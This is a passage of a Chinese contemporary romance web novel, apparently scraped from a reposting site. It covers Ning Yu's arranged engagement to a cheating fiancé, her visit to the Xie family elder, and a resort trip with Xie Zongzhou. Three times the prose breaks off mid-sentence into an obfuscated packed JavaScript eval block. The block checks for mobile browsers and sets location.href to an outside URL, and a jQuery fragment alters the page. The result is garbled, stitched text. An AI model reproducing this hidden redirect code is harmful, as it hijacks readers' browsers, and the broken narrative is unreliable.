“他啊,早走了啊。”辛黛已经和人拼过一轮酒了,此刻正在上头中,笑眯眯地说:“你刚才出去接电话不久后他就走了,看来就是过来露个面。” 宁豫沉默片刻,心想那这人特意过来这么一趟,原来是专门和她说这件事的。 虽然这么多年看起来没什么交情了,但到底‘老同学’的底子还在嘛。 不自觉的笑了下,宁yu豫拿起自己搭在旁边的大衣:“我也先走了。” “喂喂喂,你是主角。”辛黛连忙拦住她:“怎么可以走这么早了。” “真不闹了,头疼。”宁豫点了点自己的太阳穴:“今天时间早,我正好回去好好睡一觉。” 辛黛到底也是心疼她的,闻言没有强留,抱了抱她:“那回去好好休息哦。” 宁豫点点头,裹着大衣拎起包离开。 等走出会所门口被冷风一吹,她才蓦然想起自己刚才忘记的一件事。 和谢枞舟交流的时候,自己居然忘了问那个金刚鹦鹉的事了。 想到这里,宁豫干脆拿出手机,给他打电话过去。 男人秒接,就是声音有些疑惑:“嗯?” 显然是不知道刚面对面谈完,她怎么又打电话过来了。 “刚才忘了问了,”宁豫说:“我听爷爷说,你送了他一只鹦鹉。” “是啊。”谢枞舟大方承认:“之前去拜访你家老爷子,空着手不好,正好听说他养了只鹦鹉,就当送个作伴了。” 毕竟宁从光什么好东西没见过,送活物可比送那种其他的礼物显得贴心多了。 宁豫‘嗯’了声,想起礼尚往来这回事:“爷爷和我说这件事了,等哪天你带我去趟谢宅,我也给谢老爷子准备了礼物。” “这么客气啊。”谢枞舟笑了:“行吧,你挑时间?” 他知道宁豫主动提出过来拜访肯定是在宁从光的暗示下要求和他们谢家‘保持关系’。 但无论为了什么,反正对他而言是求之不得的。 宁豫脑子里想着另外一件事,自然没品出来他更深层次的一丝笑意,应了声:可以。” 她准备的狼毫笔是在法国的慈善拍卖会上拍下来的,一位老艺术家收藏的笔杆子,送出去绝对不丢面儿。 所以她不怎么担心礼物拿不出手。 但其实宁豫这本来是给宁曾帆准备的来着——她这个父亲在宁氏这种鱼龙混杂的大家族里算是很‘软’的那种性格。 宁曾帆身上没什么铜臭气,从年轻起就喜欢舞文弄墨,做些文人事情,就连大学的专业,从事的职业都是在大学里简简单单的任职一个历史教授,也不沾宁家的光。 只是在宁从光看来,这就太没‘出息’了。 他常常说,宁家二门,就出了宁豫这么一个好争好斗有心气儿的。 不过宁豫倒是觉得父亲这样没什么不好。 一个人想要在商贾世家里全面的成长起来,不光是要学习经营的技能,同样要修炼其心智,才能走的更长远。 她始终记得小时候,宁曾帆把自己抱在膝上,给她读朱自清的散文诗的画面。 ——灯光终究夺不了那边的月色,灯光是浑的,月色是清的。 - 谢枞舟在其中做说客,宁晟的事情解决的很快,对面要了一大笔赔偿金。 这不算是‘讹人’,毕竟伤害是实打实的造成了,况且对宁家这样的家族,压丑闻保声誉远比钱要重要。 宁豫谢过他,然后很痛快的签了支票。 但这事儿过后,她用了点手段教训宁晟,不仅停止了对他的一切接济,还把他在城南那边的两套房子都收回来了。 死东西没办法狡兔三窟,金屋藏娇,却也不敢抱怨什么,趁机每日三省吾身。 从小到大,宁晟虽然没出息又废物,但最怕自己这个姐姐。 他这次倒是乖觉了一次,知道这件事牵扯到了谢家那边,还有谢枞舟帮忙,主动问:“姐,你说我是不是该去感谢一下谢哥?” 宁豫看他一眼:“你说呢?” 也是二十多岁的人了,这么点事还要问她? “姐,我也不是一点人情世故不懂,但就我这面子,怕请不来谢哥啊。”宁晟扯着她的袖子,笑的狗腿:“你帮我撺掇撺掇呗。” 宁豫沉默片刻,淡淡道:“等过一阵子你攒个局,我试试看。” 她知道宁晟这也是想做成点事,想趁机积累些人脉了。 怎么说呢,甭管他水平如何,首先有这个意识就已经算是一种进步了。 但谢枞舟会不会给面子可不是她说了算的。 宁豫把丑话说在前头,但宁晟却不以为然,反倒自信满满。 “姐,谢哥不是姐夫好兄弟吗,还能不给你面子啊。”他不懂职场关系这些事,思维还蠢钝的停留在‘人脉能解决一切’的阶段。 宁豫皱眉,有些不耐:“别说这些,他那边的朋友是他的。” 虽然……谢枞舟和自己也算得上朋友吧。 宁晟一愣,压低声音:“姐,你和姐夫吵架了?因为酒店那事儿啊?” “没有,你别问这些。” “问问怎么了,你们俩要吵架多尴尬啊……”宁晟嘟囔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16595743|187436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着:“我听爸妈说,爷爷过段时间准备给你弄个什么执行晚宴,到时候还要让姐夫来呢。” 宁豫沉默着没说话,半晌后起身,拎着包走人。 这个所谓的执行晚宴其实就是庆功会,老爷子早想给她弄一个了,眼下她华丽的解决了三个大单,正是把她介绍给商圈所有人的大好时机。 其实就是一种人脉的资源置换,互相结交的场合。 而李之逞作为她的未婚夫,肯定要在这种场合跟她一起出席——就像宁晟说的,吵架了自然会尴尬。 可是,自己和李之逞又没吵架。 在电话里说的挺清楚了,他们是各取所需的关系,只要不影响到利益,不在明面上给对方难堪,其余的都不是大问题。 宁豫暂时不想去想这些乱七八糟的事,开车去了西单一家风评不错的陶艺馆。 难得休假,她只想专注地放松。 她从小就有捏泥巴的爱好,闲暇时就会去陶瓷馆陶艺馆捏一捏,非常解压。 眼下去的这家陶艺馆是好友景以推荐的,确实还可以,环境和老师都不错。 宁豫纤细的手指沾了满手的泥巴,随便擦了擦,从牛仔裤的口袋里抽出手机一看——是李之逞的名字。 她秀眉微蹙,犹豫片刻站起来去外面接。 一般这种私人时间宁豫是不想接电话的,但李之逞是典型的无事不登三宝殿。 没有要紧事,他不会打电话过来。 再怎么说也是名义上的未婚夫妻,宁豫也不能冷落着。 虽然在经历了新加坡酒店的那件事后,她确实觉得意兴阑珊。 但如果把经营她和李之逞的关系当成一种工作的话,也能做下去。 李之逞好听的声音在电话对面响起:“在干嘛?” 宁豫:“有事直说。” 工作的话主打一个简洁高效,多余的废话就不用说了。 对面沉默片刻,李之逞似是有些无奈的轻笑:“我回国了,晚上一起吃个饭?” “行。”宁豫答应了下来,垂眸看了眼手表:“几点?” “七点吧,我去接你。” “不用,我在外面,自己开车了。”宁豫拒绝:“你把位置发过来就行。” 她放松的陶艺馆就等于一个小小的乌托邦,不太想让别人知道具体位置。 现在才下午,宁豫又捏了一会儿泥巴才起身离开,开车去李之逞发来的那个餐厅。 是在南市郊的一家私房菜馆,她之前来过几次,老板是冯家的公子哥儿,很阔,在京北这种寸土寸金的地儿都能扩出一大片地儿专门弄他这个私房菜。 弄了几个老厨子,不对外营业,按桌按人脉接客,基本就是一个名流贵胄谈事儿的私人场所了。 宁豫把车开进院里,眼睛很尖的看见了一辆熟悉的车——谢枞舟那辆很烧包的保时捷,因为前不久刚见过,所以眼熟。 她微微挑眉,顿时反应过来今晚这不是两个人的晚餐。 可李之逞既然把朋友叫过来了,怎么不提前和她说一声? 宁豫一边想着一边下了车,走进餐厅时正巧就碰见了谢枞舟从二楼下来,四目相对,后者冲她笑了笑。 “嫂子。”他说:“你迟到了。” 她是迟到了几分钟,但这个称呼…… 宁豫秀眉微蹙,还来不及品味一闪而过的不悦感,就看到李之逞也从后面的包厢里走出来了。 三个人一起吃了顿不咸不淡的晚餐。 虽然这家只接熟客预订的私房菜味道不错,但宁豫还是觉得入口后没滋没味。 桌上大概只有谢枞舟是没心没肺在享用美食的,觉得今天的糖醋排骨做的相当不错,还给她夹了几块:“多吃点。” 宁豫:“……” 她本以为今天是鸿门宴来着,再不济也该有什么诉求才弄个饭局,但这俩男的什么意思? 女人忍不住抬眸,看向正对面的李之逞。 她眉眼是明艳又英气的,带着疑惑看过去时仿佛一把锐利的剑。 李之逞接收到这道目光,轻轻咳了声,然后才给自己面前的杯子里倒满酒,和宁豫的空杯子碰了碰。 “小鱼,这段时间很抱歉。”他叫她的小名,语气诚恳,还带着一丝微微的示弱:“不小心在酒店被拍到,给你那边也带来些麻烦……我这次特意把老谢都叫上了,就是给咱们做个见证。” “我保证没有下次,你也别生气了,好不好?” 宁豫静静地看了他两秒,然后抬了抬唇角。 好啊,这是感觉出来送包哄不动自己,于是就设宴来‘道歉’了。 李之逞和她一样都需要这段联姻,也怕出岔子,但偏偏他又有男人的劣根性,管不住自己的下半身。 如今特意找来谢枞舟当说客,肯定是知道了他前段时间给宁晟帮忙的事情,料到了自己没办法再继续拿乔…… ‘狼狈为奸’,这就是浮现在宁豫脑海中的四个字。 男人就会帮助男人,还真是好兄弟呢。 8. 挖呀挖 不过李之逞三番两次道歉,把姿态放低,宁豫到底也没有再继续板着脸。 她就着台阶走下来,和他碰了下杯当这事儿过去了。 没办法,毕竟他们依旧是未婚夫妻,合作关系。 算是‘破冰’后,饭局的后半段李之逞明显活跃很多,话多了不少,长臂也时常搭在宁豫的肩膀上以示亲密。 散场时还有些依依不舍,感慨道:“我要是没喝酒就好了,这下子只能拜托老谢送你回去。” 李之逞和宁豫都喝了点酒,谢枞舟是在场唯一一个滴酒没沾的人。 ——不知道是不是早就想好了要当司机,毕竟是‘受人之托’过来的。 宁豫没拒绝这个提议,上了谢枞舟的车。 “你的车还在院子里停着呢。”驾驶位上的男人笑了笑,主动说:“不然把钥匙给我,我明天帮你开回来,也省得你再跑一趟。” 宁豫淡淡的拒绝:“不用。” 谢枞舟挑眉:“为什么不用。” “可不敢欠你的人情了。”女人红唇轻抿,平静的言语不乏讥讽:“不然谁知道你下次还要帮谁做说客。” …… 谢枞舟愣了两秒,忍不住笑出声。 “唔,原来我今天不该来。”他修长的手指敲打着方向盘,若有所思:“看来你本来不打算原谅阿逞的啊。” 宁豫有些别扭,嘟囔着:“谈不上什么原谅不原谅的。” 毕竟他们两个也就那么回事儿,她本身也没特别想要计较李之逞的拈花惹草,更烦的还是被别人按头‘原谅’的这种感觉。 她含糊道:“你下次别掺合我们的事儿。” 听出来女人的言外之意,谢枞舟黑眸微微闪烁片刻,随后抬了抬唇角。 “行。”他麻利的应声,痛快转移话题:“你之前不是说要去探望我家老爷子,挑个时间?” 谢枞舟了解她的性格,所以根本不会在她和李之逞这个话题上纠缠太久。 需要飞速建立他们之间的联系和话题,这才是重点。 宁豫的注意力也理所当然的被拉回到正事上:“明天吧。” 择日不如撞日,早点把拜访谢老爷子的这个‘任务’解决了才好。 谢枞舟意外:“这么有空?明天可是工作日,大忙人不用上班?” “我这周休息。”宁豫淡淡道:“不是什么大忙人。” 她知道自己在相熟的朋友眼里大概都是一个工作狂的形象,但人毕竟不是上了发条的机器,都需要休息的。 谢枞舟沉默片刻,悠悠道:“你休息了怎么不和我说?” “……?”宁豫不明所以:“为什么要和你说?” 他俩也没熟到需要互报行程的地步吧? “啧,宁豫同志,你这是翻脸不认人啊。”谢枞舟不满:“之前不是说好了一起去度假山庄玩一圈吗?” 宁豫这才后知后觉的想起来这件事儿。 倒是真有,那天她喝酒喝到去医院输液,恍惚的时候听到谢枞舟把他投资的那个度假山庄形容得挺好的。 她也真的是异常疲惫,很想好好休息一下,就顺势答应下来这个邀约了。 “也来得及啊,不就在南山脚下吗。”宁豫眨了眨眼:“那就去吧。” 反正她本来就打算在这一周的休息时间里来个周边游的,和谢枞舟一起也不是不行——毕竟这家伙一向很会玩儿,从高中的时候就是。 听她不打算赖账,谢枞舟才满意的点点头:“成,那就后天吧。” 这一周休息过后宁豫又回重新变回大忙人,他可丝毫不想放过她这珍贵的时间。 第二天一早,谢枞舟按照宁豫给的地址去接她。 宁豫本来是打算自己开车去的,但谢老爷子住的地方比较生僻,难找,谢枞舟的建议是他直接去接她,等完事儿后也会妥帖的把她送回来。 她想了想,接受谢枞舟的这个提议。 大家族里的老人都有自己的规矩,说是住处生僻,其实更大可能是不喜欢外人的车子进院,这点宁豫是懂的。 谢枞舟把车开到御龙湾小区的停车场,等了十分钟左右副驾驶的门把手才被‘咔哒’一声拧开。 微微扭头,他看到宁豫拢着长长的大衣坐了进来——熟稔程度就好像她坐过自己这个副驾驶的位置无数次。 谢枞舟轻轻一怔,心想不枉他这段时间都开这一辆车,没换。 他看着女人精致的侧脸,竖起大拇指:“漂亮。” 宁豫正对着镜子补口红,闻言客气的笑了笑:“谢谢。” 今天要去见谢家的长辈,她当然是特意打扮过的,不光是衣服妆容,就连配套的首饰也精心挑过。 老人普遍都喜欢年轻的女孩子打扮的端庄一些,宁豫平日里更喜欢戴珍珠,但今天戴了成套的玉饰。 帝王绿的翡翠镶嵌在耳垂上,被象牙白的皮肤衬托的更加温润,显得富贵天然。 谢枞舟瞄了眼她细细手腕上的镯子,皓白中的一抹鲜翠,他问了句:“戴着不沉?” “沉啊。”宁豫补完了妆,把口中收进包里,淡淡道:“无所谓,就戴这一天。” …… 这女人在他面前倒是不装一下的,一点也不掩饰戴这套首饰就是为了迎合老人家喜好的本质。 谢枞舟忍不住笑:“辛苦你了。” 宁豫侧头看了他一眼,男人侧脸的线条有种浑然天成的流畅清俊,微微笑起来时显得很慵懒戏谑。 从高中那个时候起,谢枞舟就能用脸迷倒一批又一批的女孩子,但她不喜欢。 因为她搞不懂他的笑容是真心还是嘲讽,就像现在。 车上的导航定位有一段距离,宁豫干脆闭上眼睛,靠在椅背上假寐。 只是眼睛闭上了,耳朵也能听见他不满的嘟囔:“干嘛?就这么把我当司机啊?” “昨天晚上没睡好。”她轻声敷衍:“有点困。” 旁边的人不说话了。 宁豫一开始只是想眯一会儿,但车厢里温暖安静,还有一种很好闻的不知道是什么车载香薰的味道,她慢慢的身体放松,竟真的睡着了。 大概是因为这种味道很安神。 被叫醒的时候,小憩了半个小时的身体更有精神。 跟着谢枞舟一起下车走进谢家公馆的院子里,宁豫随口问了句:“你车上用的什么香水?” 他脚步一顿,反问:“香水?” “是啊。”宁豫点头:“闻着挺安神的。” 谢枞舟忍不住笑了:“车里没香水,我从来不用,闻着头晕,你说的应该是我身上的味道吧。” “……”宁豫完全没想到这人居然会这么厚颜无耻的暗示自己有‘体香’,一瞬间有些无语。 “你要是喜欢,”谢枞舟的脸皮甚至比她预想的要更厚一筹,毛遂自荐道:“把我随身带着当香氛?” …… “别贫了。”宁豫受不了的抖了抖肩,嫌弃的移开目光。 两个人一前一后进了谢家的老宅子。 院子里种植了很多颗名贵的梧桐树,但在秋冬之交这个季节枝桠都光秃秃的了,原本金灿灿的叶子落了满地,变得枯萎,踩上去会有很清脆的‘咯吱咯吱’声。 宅子里有很多帮佣的人,但院子里的落叶却没人扫,铺了厚厚的一层,从院子门口走到屋子前面的一路都是。 谢枞舟注意到宁豫的疑惑,轻声解释:“我奶奶喜欢这种踩落叶的感觉,所以就没让人打扫。” 宁豫恍然大悟,心想谢家这对老夫妻还怪浪漫的。 在古稀之年,一位还有这种颇为幼稚的念头,另一位便宠溺的帮她实施。 也真的蛮幸福的。 两个人拜访的时间是下午,谢老夫人在午睡,他们被管家引荐到书房,轻手轻脚的敲门进去时,谢老爷子正站在书桌后面临摹一幅碑帖。 宁豫见到这一幕,心想自己的礼物大概率是送对了。 老爷子抬头看过来,见到他们一笑:“是宁家的四姑娘吧,快进来。” 谢枞舟大概是已经提前和他爷爷打过招呼,否则这么多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这茬关系让谢译峰没有继续推托,只笑了笑拿起桌上的内线把管家叫了进来,然后把装着狼毫的盒子递过去叫他拿去洗笔。 “早晨在后院的池塘里钓了条白鱼,很新鲜,小豫留下来吃饭吧。”他点了点桌面:“等会儿我写幅字,你带回去,听说你最近接管公司签了好几个大单子,完成的很漂亮。” 老爷子笑着:“我这幅字也当给你的回礼了,可别嫌弃。” 宁豫忙说:“当然不会。” 事实上她有些受宠若惊,因为谢译峰的地位摆在这里,能给她这个做小辈的回礼已经是很不可思议的事情了。 更别说还是他亲手写的字。 过了一会儿谢老夫人睡醒,叫宁豫陪着去说会儿话。 书房里只剩下爷孙两人了,谢枞舟才一边把玩着谢译峰桌上的镇纸,一边状似不经意的说:“爷爷,您对宁豫还挺好的。” 他当然知道谢老爷子不是随便回礼的人——准确来说,能收下宁豫带来的礼物就不错了。 谢译峰又执起笔来写字,淡淡道:“和什么人办什么事,小豫是个不错的晚辈,做事认真又有能力,比你强多了。” “啧,对她评价这么高啊?”谢枞舟忍不住笑:“爷爷,我怎么就不认真了?” “我瞧不出来你哪里认真,不喜欢家里的公司,非要自己出去单干,这也就算了。”老爷子叹了口气:“老大不小的人了,眼瞧着快三十,现在还是一点定性都没有。” 谢枞舟皱眉,不满的反驳:“爷爷,您给我说大了好几岁。” “冤枉你了?二十七八的人和三十有什么区别。”谢译峰瞪他:“我说小豫稳重,不光是因为她工作认真,更是她不会因为事业耽误自己的人生大事,她和阿逞不是快好事将近了?” 谢枞舟把玩着镇纸的修长手指一顿。 老爷子还在说:“阿逞不是你好朋友吗,你也不向人家学学。” 谢枞舟沉默片刻,轻声一笑:“爷爷,您每天待在家里,消息倒是蛮灵通。” 老爷子洋洋洒洒的写字:“待在家里又不是傻了。” 谢枞舟长眉微挑,试探道:“听您这话的意思,是挺满意宁豫这样的姑娘?” “当然。”谢译峰头也不抬,讽刺道:“但我满意有什么用,你这种吊儿郎当的样子,也没福气找人家小豫这种。” 谢枞舟忍不住笑:“谁说的,我改天给您带个孙媳妇儿回来。” “就带宁豫这样的,怎么样?” 9. 挖呀挖 吃完晚餐,宁豫带着谢译峰给题的字离开。 她本来以为拜访这种德高望重的老人家会是件很枯燥又费力不讨好的事情,但谢老爷子很好说话,幽默风趣。 老夫人亦是如此,她在谢家渡过的这几个小时还是非常愉快的。 临走时一一道别,谢译峰叮嘱她有时间再跟着谢枞舟过来玩儿。 宁豫微怔,随后连忙点头,笑着应下来:“好,我会的。” 她觉得‘过来玩儿’这个词汇非常亲切,显得他们好像还是小孩儿一样——虽然在谢译峰眼里可能确实是的。 宁豫在院子里等谢枞舟的时候,想到自己其实一共就见过谢老爷子两面,第一面也是在这个老宅,是很多年前的事儿了。 当时的光景与现在大不相同。 那是谢枞舟十七岁生日的时候,他在老宅过,撺掇了一堆同学过来参加他的生日宴,阴差阳错的,她也跟着过来凑热闹了。 只不过热闹到一半,谢译峰这个大家长犹如‘反派’般的从天而降。 他倒是没有劈头盖脸的批评孙子的这群同学,只是回来匆匆去了趟文件,临走时还留下一句‘大家好好玩儿’。 但就算是不懂事的高中生也都听闻过谢译峰的大名,没人能玩的下去了。 生日宴急匆匆散场,显得有些虎头蛇尾。 宁豫本来想直接找到硬拉她过来的黛黛赶紧走人,结果在这幽深偌大的老宅里绕来绕去,自己没找到人反倒被谢枞舟找到了。 男生漆黑的头发上还沾着蛋糕的点点奶油,眼睛和头发一样黑,在长廊下仿佛凝聚了星光月色,微笑着理智起床向她伸手:“礼物呢——” 宁豫没想到他突然出现,愣了一下说:“我放在沙发上了。” 来参加别人的生日宴怎么可能不带礼物啊。 “真的?”谢枞舟眼睛一亮,很有兴趣的样子:“送的什么啊?” 他既然问了,宁豫也没想着留悬念,直接说:“和黛黛一样,耳机。” 她懒得自己去想送什么了,干脆偷懒。 “啧,礼物和别人送一样的,你好敷衍啊。”谢枞舟半真半假的抱怨着。 宁豫没反驳——因为也确实如此。 他们又不是很相熟的好朋友,普通同学,自己干嘛那么上心啊 正想着,就听谢枞舟说:“那我这个当寿星的也回你一个礼物。” “回我什……”宁豫反问的话还没说完,脸上就感觉到了一抹滑腻的触感。 “哈哈哈哈。”谢枞舟大笑:“寿星蛋糕的奶油!不错吧?” 宁豫过了很多次生日,还是第一次有人敢往她脸上涂奶油。 ——甚至这次都不是她生日。 过于错愕,以至于她当时都愣住了。 “走吧。”谢枞舟的声音把她从回忆中拽了回来,一瞬间的声音几乎和脑海中的画面重叠。 九年了,这家伙成熟了不少,没有那么……神经病了。 宁豫回神,看到手里被塞了个温热的玻璃瓶子,里面是深色的液体。 她不解:“这是什么?” “茶。”谢枞舟言简意赅:“回去路上喝吧。” 宁豫细长的指尖无意识摩挲了一下杯壁,没说什么。 回去的路上,她随口问了句临走的时候怎么出来的这么慢。 谢枞舟笑了笑,说自己被老爷子拉住教训了一番。 “教训?”宁豫一愣,长长的睫毛眨了眨:“为什么教训你?” 她并非八卦,只是开车回去的路程颇长,自己总不能来回都睡觉真的把人当司机,不找点话题聊的话反倒尴尬。 谢枞舟单手握着方向盘,唇角轻挑:“想让我定下来,找个你这样的未婚妻呗。” …… 宁豫没想到他一点也不‘藏着掖着’,有些尴尬的别过头。 她嘟囔了一句:“别瞎说。” “没瞎说,年纪大的人就喜欢催婚催生。”谢枞舟笑了声,状似无意地说:“不过我爷爷倒是挺喜欢你的。” 宁豫听了没什么反应,只淡淡的‘哦’了声。 她说:“不意外,我是招人喜欢的类型。” 出国前宁从光为她选择联姻对象那阵子,京圈的名流子弟一大半都递上过橄榄枝,后来是她自己选择的李之逞。 这般狂妄的态度如果是别人说出来,总会给人一种大言不惭的感觉,但如果是宁豫说…… 谢枞舟余光看了眼她精致又自信的侧脸,笑容依旧:“嗯,你说的对。” 又漂亮又有能力,哪儿哪儿都很完美,当然是招人喜欢的类型。 男人声音轻快,宁豫没太听清,问了句:“你说什么?” 谢枞舟却没重复刚才那句,转移话题:“明天去度假怎么样?” “呃……也行。”宁豫想了想,说:“带朋友行吗?黛黛最近也休假。” 答应了的事不好反悔,但总感觉只有他们两个去度假山庄的话实在太奇怪了,叫上辛黛那就正好,毕竟黛黛是他们共同的高中同学,大家都认识。 谢枞舟没有什么拒绝的理由,很干脆的答应:“行啊,你想叫上阿逞都行。” 宁豫瞄他一眼:“你想找多少人去给你投资的那个山庄捧场啊。” “说这些,”谢枞舟耸了耸肩:“明明是他回国了,正好给你们创造一个约会环境啊。” 宁豫抿了抿唇角,没说话。 趁着红绿灯,谢枞舟读懂她眼睛里微微有些犹豫又试探的意思,心里微微一刺。 他捏着方向盘的修长手指不自觉地用力,故作轻松:“要是有这个意思,要不要打个电话问问?” 宁豫一愣:“现在?” “嗯,现在啊。”谢枞舟看了眼手表:“这个点阿逞肯定下班了,你打呗。” 他们在谢家老宅吃完晚饭后又耽搁了一会儿,主要是等着谢老爷子写完字装好带走,现在是晚上八点多…… 理论上李之逞确实应该闲下来了。 宁豫没再犹豫,拿出手机拨了个电话过去。 其实她也不是真的要李之逞陪着自己去度假,只是想趁着这个机会将这件事告诉他一下,要不然就好像她和谢枞舟瞒着他出去一样,有点奇怪。 电话拨过去,对面接的挺快,只不过隔着手机传过来的是一道甜美悦耳的女声:“你好。” 宁豫一愣,秀眉很快蹙起:“这不是李之逞的手机吗?” “他现在不方便接电话。”女生没有解释太多,只温温柔柔地说:“您有什么事情吗?我可以帮忙转达。” 手指不自觉的抓紧手机,宁豫默不作声的挂断电话。 车厢内的密闭空间让一切声音都无处遁形,宁豫刚刚打的那通电话,谢枞舟自然也听的一清二楚。 他主动打破了沉默:“怎么不多问两句?” “有什么问的必要。”宁豫轻嗤:“李之逞的助理团队可没有女的。” 所以刚刚接电话的那个女人,就不可能是跟工作有关的人。 既然什么都了解,自己还有什么好问的? 男人天性喜欢偷吃,在外面找人这种事只有零次和一百次。 谢枞舟点到为止,没有替李之逞解释也没继续问什么。 过了一会儿,宁豫攥着的手机响了起来,李之逞又把电话给她回了过来。 在安静的空间内显得格外刺耳。 她眉头紧皱,难得任性了一次,不但把电话挂了还直接开启了飞行模式——谁都别想打扰她。 谢枞舟眉梢轻挑:“不听听解释?” 宁豫冷声道:“不。” 没什么好听的,越听越烦,她也不想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宁豫的心情被治愈了一些。 她觉得用自己做的漂亮餐具吃饭,也许胃口都会比较好。 洗完澡躺在床上,宁豫才和辛黛说起明天出去玩的事。 微信上说的,辛黛直接回了条语音:“我靠,你这怎么搞的这么突然,也不提前点告诉我,明天就出发?” 宁豫直接拨了个语音电话过去。 “嗯。”她问:“你没时间吗?” 辛黛是个自由职业者,按理说时间是很充裕的。 “不是没时间,就是觉得突然啊。”辛黛清脆的声音像是倒豆子一般,语速极快,还语出惊人:“再说怎么是和谢枞舟一起?你咋勾搭上他的?” “……什么叫勾搭啊。”宁豫皱眉,纠正她的用词:“只是我想休息,他推荐了他投资的度假山庄,然后一起去的正常互动罢了。” 辛黛反问:“那你叫我干嘛?” 宁豫在闺蜜面前,直言不讳:“光我和他一起去有点怪啊。” “看,这不还是觉得怪嘛。”辛黛笑了:“那我说的也没错啊。” “……别废话了。”宁豫无语:“到底去不去?” “去,必须去!”辛黛笑嘻嘻的:“我也好久没见到谢二了,他是不是还是那么帅啊?” 这么白痴的问题,也就她能问得出口。 宁豫压根不想回答,含糊道:“你见了不就知道了。” “哦——你这个意思其实就是说帅。”辛黛恍然大悟:“要是不帅的话,你肯定就直接冷冷的说一声‘不’了。” “……” 10. 挖呀挖 次日上午,谢枞舟到宁豫楼下的咖啡馆接她和辛黛。 都是老同学,就算许久不见也并不生疏。 更何况他们前几天还在宁豫的接风宴上见过,都是天不怕地不怕的绝世e人,互贫互侃还挺开心。 去山庄的路上经过一片风景优美的写生园,种植了成片成片的薰衣草,黛黛见了喜欢,就嚷嚷着要下车看看。 宁豫知晓自己闺蜜的脾气,知道她想去的地方去不到一定不会善罢甘休,于是就主动开口问谢枞舟:“下车走走?” 她是坐在副驾驶的,沟通起来比较方便。 谢枞舟轻轻耸肩,在路边找了个停车位。 一停车,黛黛就像离弦的箭迫不及待的下车,还拉着宁豫一起给她当摄影师。 女生看到漂亮的环境大多都喜欢拍照,更别说漂亮的女生。 辛黛从小就是艳光四射的大美女,自恋一些再正常不过。 宁豫不喜欢拍照,觉得浪费时间,但她还是纵容朋友的。 帮着黛黛拍了百八十张照片,她才把相机扔给过去准备回车上——没错,黛黛是带着相机来的,标准走到哪儿都要拍照的公主病一枚。 宁豫转身,和谢枞舟的眼睛对了个正着。 他正靠在车门上抽烟,黑眸看着她,见人走过来就把烟按灭在旁边的台阶上。 莫名的,宁豫心头有过一闪而过的不自在。 她走过去,随口闲聊的问了句:“你是不是等的无聊了?” 谢枞舟笑笑:“多少有点吧。” 宁豫:“无聊怎么不看看风景?” 其实这片薰衣草田还挺不错的,但她从刚才就发现谢枞舟压根没怎么看。 真的只是陪她们下来而已,却浑不在意。 闻言,谢枞舟耸了耸肩:“不感兴趣。” 宁豫挑眉:“摆在你面前还不感兴趣?” 谢枞舟抬抬唇角:“有句话你听说过吗?心里有了想达到的目标,就会对路边的风景漫不经心。” 宁豫觉得他突然拽文的举动有些一语双关,蹙了蹙眉:“什么意思?” 下车休息随便放松看看风景还能累到他么? “随便说说而已。”谢枞舟却不在纠缠这个话题,转身上了车。 宁豫思索片刻,也跟着坐上去。 “你太自恋了。”她忍不住说:“就对自己投资的度假山庄那么自信?” ‘想达到的目标’说的不就是他们现在要去的目的地么?这么一想真的是好自恋。 谢枞舟笑出声,点头认同:“嗯,是。” 他就是极度自恋型人格。 偶尔萌生的自卑,怯懦,也绝对不会让她察觉罢了。 从市里到山庄一共两个小时的车程,因为黛黛在路上的这个插曲变成了三个小时。 等到了地点时两个姑娘都有些累了。 山庄里的酒店门童过来帮忙拿行李,谢枞舟这边也有朋友过来接,张罗着一起吃个饭,正好也到午餐时间了。 可辛黛累的不行,再加上今天比起往常起的早了,她一点也不想吃午餐,一门儿心思的只想先补个觉,接过房卡就跑了。 宁豫其实也是这么想的,但她刚有要接过房卡的动作,就被人从半路截胡了。 谢枞舟那双修长的,从指尖漂亮到指根的手做了拦路虎。 宁豫不明所以地看着他。 谢枞舟手指摆弄着房卡,似笑非笑地看着她:“你不会也想回去睡觉吧?” “不行吗?” “当然不行,还用问啊。”谢枞舟嗤笑:“你忘了你来干什么的了?休息,放松,调养身体,饭都不吃作息紊乱叫调养身体?” 宁豫被他说的头大,某种程度上,谢枞舟的这套说辞让她想起戚惠的那套老生常谈。 “行了,我不睡觉了还不行吗?”她求饶似的开口,求他闭嘴:“去吃饭吧。” 自己独立生活惯了,现在突然回国,最害怕的就是别人的唠叨。 谢枞舟目的达到,自然不再絮叨,轻轻抬了抬唇角:“中餐还是西餐。” 宁豫:“中餐。” 酒店里面就有餐厅,他嘱托门童把两个人的行李箱分别送到相应的房间里,然后带着宁豫去三楼中餐厅。 中午的时间,餐厅里人不多,谢枞舟也没惊动这儿的老板,低调的找了个角落靠窗的位置。 然后他用自己的手机扫码,又递给对面的女人:“你点菜。” 宁豫没推辞,接过来慢慢的看。 只是指尖正在划拉的时候,屏幕上的微信消息正跳到中间,后面的菜单背景一时间都虚化了,这导致她不管是不是故意的都点了进去。 宁豫蹙眉,本想立刻退出,但不巧的是她看到了备注上‘阿逞’的两个字。 更看到了他发过来的两条信息—— [我这两天和南南去苏州了。] [要是宁豫那边有什么要紧事,你先帮我应付一下。] 宁豫握着手机的手紧了紧,眼睛紧盯着屏幕。 南南?李之逞口中的南南,怕就是他在外面找的小情儿吧。 而且叫的还颇为亲切——比起对自己在文字上也这么‘官方’的称呼而言。 